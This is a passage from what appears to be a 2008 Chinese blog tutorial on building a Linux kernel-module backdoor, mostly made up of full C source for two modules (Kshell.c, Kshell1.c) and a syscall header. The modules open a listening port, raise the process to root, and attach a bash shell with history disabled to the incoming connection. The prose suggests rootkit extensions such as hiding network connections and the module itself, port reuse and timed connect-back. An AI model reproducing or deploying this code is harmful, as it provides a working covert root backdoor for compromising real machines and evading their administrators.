PF_INET; server.sin_addr.s_addr = INADDR_ANY; server.sin_port = htons(port); error = security_socket_bind(sock,(struct sockaddr *)&server,len); if (!error) { error = sock->ops->bind(sock,(struct sockaddr *)&server,len);

if (error < 0) { printk("[-] unix_bind() failed.n"); sock_release(sock); return -1; } } error = sock->ops->listen(sock,5);
if (error < 0) { printk("[-] unix_listen failed.n"); sock_release(sock); return -1; } printk("[+] listen port %d ok.n",port); if (!(newsock = sock_alloc())) { printk("[-] sock_alloc() failed.n"); sock_release(sock); return -1; } newsock->type = sock->type;
newsock->ops = sock->ops;

printk("[+] waiting for a client.n");

if (newsock->ops->accept) {
error = security_socket_accept(sock,newsock);
if (error < 0) goto out_release; if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
printk("[-] accept got a signal.n");
goto out_release;
}
else if (error < 0) { printk("[-] unix_accept failed.n"); goto out_release; } if (newsock->ops->getname(newsock,client,&len,1) < 0) goto out_release; security_socket_post_accept(sock,newsock); sockid = sock_map_fd(newsock); if (sockid < 0) { printk("[-] sock_map_fd() failed.n"); sock_release(newsock); return -1; } printk("[+] accept a client.n"); kshell(sockid); } return 1; out_release: sock_release(sock); sock_release(newsock); return 0; } 四. 如何扩展后门 如果费这么大力气在内核中就实现了这么简单的功能,还不如在用户空间实现。 问题关键是我们现在在内核中,只要对内核有足够的了解,还有什么不能实现的呢? 内核源码在手,能做什么,就看你的想象力了。首先是加上一些常用的rookit技巧, 如隐藏网络连接,hack下tcp4_seq_show就行了,隐藏模块list_del一下就行了。为了控制方便,加个pty支持吧。再牛的搞个端口复 用吧。想嗅探启动吗?用netfilter过滤下就行了。 下面说说编写更高级后门时需要注意的一些地方: 1. 现在你在内核中,就要考虑并发和竞态的问题,给临界区加个锁或信号量是不错的选择。 2. 如果你想做一个定时回连的后门,请不要使用内核定时器。 它的执行函数是在原子方式下执行的,也就是这个时候你不能去访问用户空间的东西,如果引起了休眠,内核可能就oops了。你可以使用 schedule_timeout()让当前模块休息几秒,当调度程序把它调度回来的时候在尝试一次回连的操作,就不会有问题了。 五. 参考资料 [1] Linux kernel source code http://www.kernel.org [2] sk1.3-b source code – sd http://sd.g-art.nl/sk [3] enyelkm 1.2 - RaiSe && David Reguera http://www.enye-sec.org [4] wnps-2.26 – wzt http://hi.baidu.com/wzt85 六. 相关源代码 Syscalls.h /* macros de syscalls */ int errno; #define my__syscall_return(type, res) do { if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) {
errno = -(res);
res = -1;
}
return (type) (res);
} while (0)

/* XXX – _foo needs to be __foo, while __NR_bar could be _NR_bar. */
#define my_syscall0(type,name)
type name(void)
{
long __res;
__asm__ volatile ("int $0x80"
: "=a" (__res)
: "0" (__NR_##name));
my__syscall_return(type,__res);
}

#define my_syscall1(type,name,type1,arg1)
type name(type1 arg1)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)) : "memory");
my__syscall_return(type,__res);
}

#define my_syscall2(type,name,type1,arg1,type2,arg2)
type name(type1 arg1,type2 arg2)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2))
: "memory");
my__syscall_return(type,__res);
}

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
type name(type1 arg1,type2 arg2,type3 arg3)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)) : "memory");
my__syscall_return(type,__res);
}

#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4)
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)),"S" ((long)(arg4)) : "memory");
my__syscall_return(type,__res);
}

#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,
type5,arg5)
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5)
{
long __res;
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; "
"int $0x80 ; pop %%ebx"
: "=a" (__res)
: "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))
: "memory");
my__syscall_return(type,__res);
}

Kshell.c

/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/

#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include
#include
#include
#include
#include
#include
#include "syscalls.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define __NR_e_exit __NR_exit

#define SGID 0x489196ab
#define HOME "/"

static char *earg[4] = { "/bin/bash", "–noprofile", "–norc", NULL };

char *env[]={
"TERM=linux",
"HOME=" HOME,
"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
":/usr/local/sbin",
"HISTFILE=/dev/null",
NULL };

static inline my_syscall0(pid_t, fork);
static inline my_syscall0(long, pause);
static inline my_syscall2(int, kill, pid_t, pid, int, sig);
static inline my_syscall1(int, chdir, const char *, path);
static inline my_syscall1(long, ssetmask, int, newmask);
static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
static inline my_syscall1(int, e_exit, int, exitcode);
static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline my_syscall1(int, close, int, fd);
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);
static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
static inline my_syscall3(int, execve, const char *, filename,
const char **, argv, const char **, envp);
static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
unsigned long, arg);
static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
writefds, fd_set *, exceptfds, struct timeval *, timeout);
static inline my_syscall2(unsigned long, signal, int, sig,
__sighandler_t, handler);

/**
* the code copy from adore-ng
*/
int wnps_atoi(const char *str)
{
int ret = 0, mul = 1;
const char *ptr;

for (ptr = str; *ptr >= ’0’ && *ptr <= ’9’; ptr++) ; ptr--; while (ptr >= str) {
if (*ptr < ’0’ || *ptr > ’9’) break;
ret += (*ptr – ’0’) * mul;
mul *= 10;
ptr–;
}
return ret;
}

/**
* in_aton – change str to ipv4 address.
*
* see net/core/utils.c
*/
__u32 wnps_in_aton(const char *str)
{
unsigned long l;
unsigned int val;
int i;

l = 0;
for (i = 0; i < 4; i++) { l <<= 8; if (*str != ’’) { val = 0; while (*str != ’’ && *str != ’.’) { val *= 10; val += *str - ’0’; str++; } l |= val; if (*str != ’’) str++; } } return(htonl(l)); } int k_listen(int port) { struct task_struct *tsk = current; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; mm_segment_t old_fs; char buff[100]; unsigned long arg[3]; int sock_fd, sock_id; int tmp_kid; int i, n, cli_len; old_fs = get_fs(); tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;

/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i < 4096; i++) close(i); if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) { set_fs(old_fs); return 0; } printk("create socket ok.n"); /* bind address */ memset((void *) &serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(port); serv_addr.sin_addr.s_addr = 0; arg[0] = sock_fd; arg[1] = (unsigned long) &serv_addr; arg[2] = (unsigned long) sizeof(serv_addr); if ((socketcall(SYS_BIND, arg)) == -1) { close(sock_fd); set_fs(old_fs); return 0; } printk("bind address ok.n"); /* begin listen */ arg[0] = sock_fd; arg[1] = (unsigned long) 255; if ((socketcall(SYS_LISTEN, arg)) == -1) { close(sock_fd); set_fs(old_fs); return 0; } printk("listen on port %dn", port); cli_len = sizeof(cli_addr); arg[0] = sock_fd; arg[1] = (unsigned long) &cli_addr; arg[2] = (unsigned long) &cli_len; if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) { printk("accept error.n"); close(sock_fd); set_fs(old_fs); return 0; } printk("accept a client.n"); dup2(sock_id, 0); dup2(sock_id, 1); dup2(sock_id, 2); execve(earg[0], (const char **) earg, (const char **) env); close(sock_id); close(sock_fd); set_fs(old_fs); return 1; } static int ksocket_init(void) { printk("ksocket start.n"); k_listen(22); } static void ksocket_exit(void) { printk("ksocket exit.n"); } module_init(ksocket_init); module_exit(ksocket_exit); Kshell1.c /* * kenel mode socket door v0.1 * * by wzt http://www.xsec.org */ #include #include #include #include #include #include #include #include #include #include #include #include
#include
#include

#include "syscalls.h"

#define port 8800
#define LEN 256
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define SGID 0x489196ab
#define HOME "/"

static char *earg[4] = { "/bin/bash", "–noprofile", "–norc", NULL };

char *env[]={
"TERM=linux",
"HOME=" HOME,
"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
":/usr/local/sbin",
"HISTFILE=/dev/null",
NULL };

static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall3(int, execve, const char *, filename,
const char **, argv, const char **, envp);

int kshell(int sock_fd)
{
struct task_struct *tsk = current;
mm_segment_t old_fs;

old_fs = get_fs();
set_fs(KERNEL_DS);

tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;

dup2(sock_fd, 0);
dup2(sock_fd, 1);
dup2(sock_fd, 2);

execve(earg[0], (const char **) earg, (const char **) env);

set_fs(old_fs);

return 1;
}

int k_listen(void)
{
struct socket *sock,*newsock;
struct sockaddr_in server;
struct sockaddr client[128];
char address[128];
int sockfd, sockid, i,size = 0;
int error = 0,len = sizeof(struct sockaddr);

//set_fs(KERNEL_DS);

error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
if (error < 0) { printk("[-] socket_create failed: %dn",error); sock_release(sock); return -1; } sockfd = sock_map_fd(sock); if (sockfd < 0) { printk("[-] sock_map_fd() failed.n"); sock_release(sock); return -1; } for (i = 0; i < 8; i++) server.sin_zero[i] = 0; server.sin_family = PF_INET; server.sin_addr.s_addr = INADDR_ANY; server.sin_port = htons(port); error = security_socket_bind(sock,(struct sockaddr *)&server,len); if (!error) { error = sock->ops->bind(sock,(struct sockaddr *)&server,len);

if (error < 0) { printk("[-] unix_bind() failed.n"); sock_release(sock); return -1; } } error = sock->ops->listen(sock,5);
if (error < 0) { printk("[-] unix_listen failed.n"); sock_release(sock); return -1; } printk("[+] listen port %d ok.n",port); if (!(newsock = sock_alloc())) { printk("[-] sock_alloc() failed.n"); sock_release(sock); return -1; } newsock->type = sock->type;
newsock->ops = sock->ops;

printk("[+] waiting for a client.n");

if (newsock->ops->accept) {
error = security_socket_accept(sock,newsock);
if (error < 0) goto out_release; if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
printk("[-] accept got a signal.n");
goto out_release;
}
else if (error < 0) { printk("[-] unix_accept failed.n"); goto out_release; } if (newsock->ops->getname(newsock,client,&len,1) < 0) goto out_release; security_socket_post_accept(sock,newsock); sockid = sock_map_fd(newsock); if (sockid < 0) { printk("[-] sock_map_fd() failed.n"); sock_release(newsock); return -1; } printk("[+] accept a client.n"); kshell(sockid); } return 1; out_release: sock_release(sock); sock_release(newsock); return 0; } int k_socket_init(void) { printk("[+] kernel socket test start.n"); k_listen(); } void k_socket_exit(void) { printk("[+] kernel socket test over.n"); } module_init(k_socket_init); module_exit(k_socket_exit);

十月 3rd, 2008

Posted In: 未分类

无觅相关文章插件,快速提升流量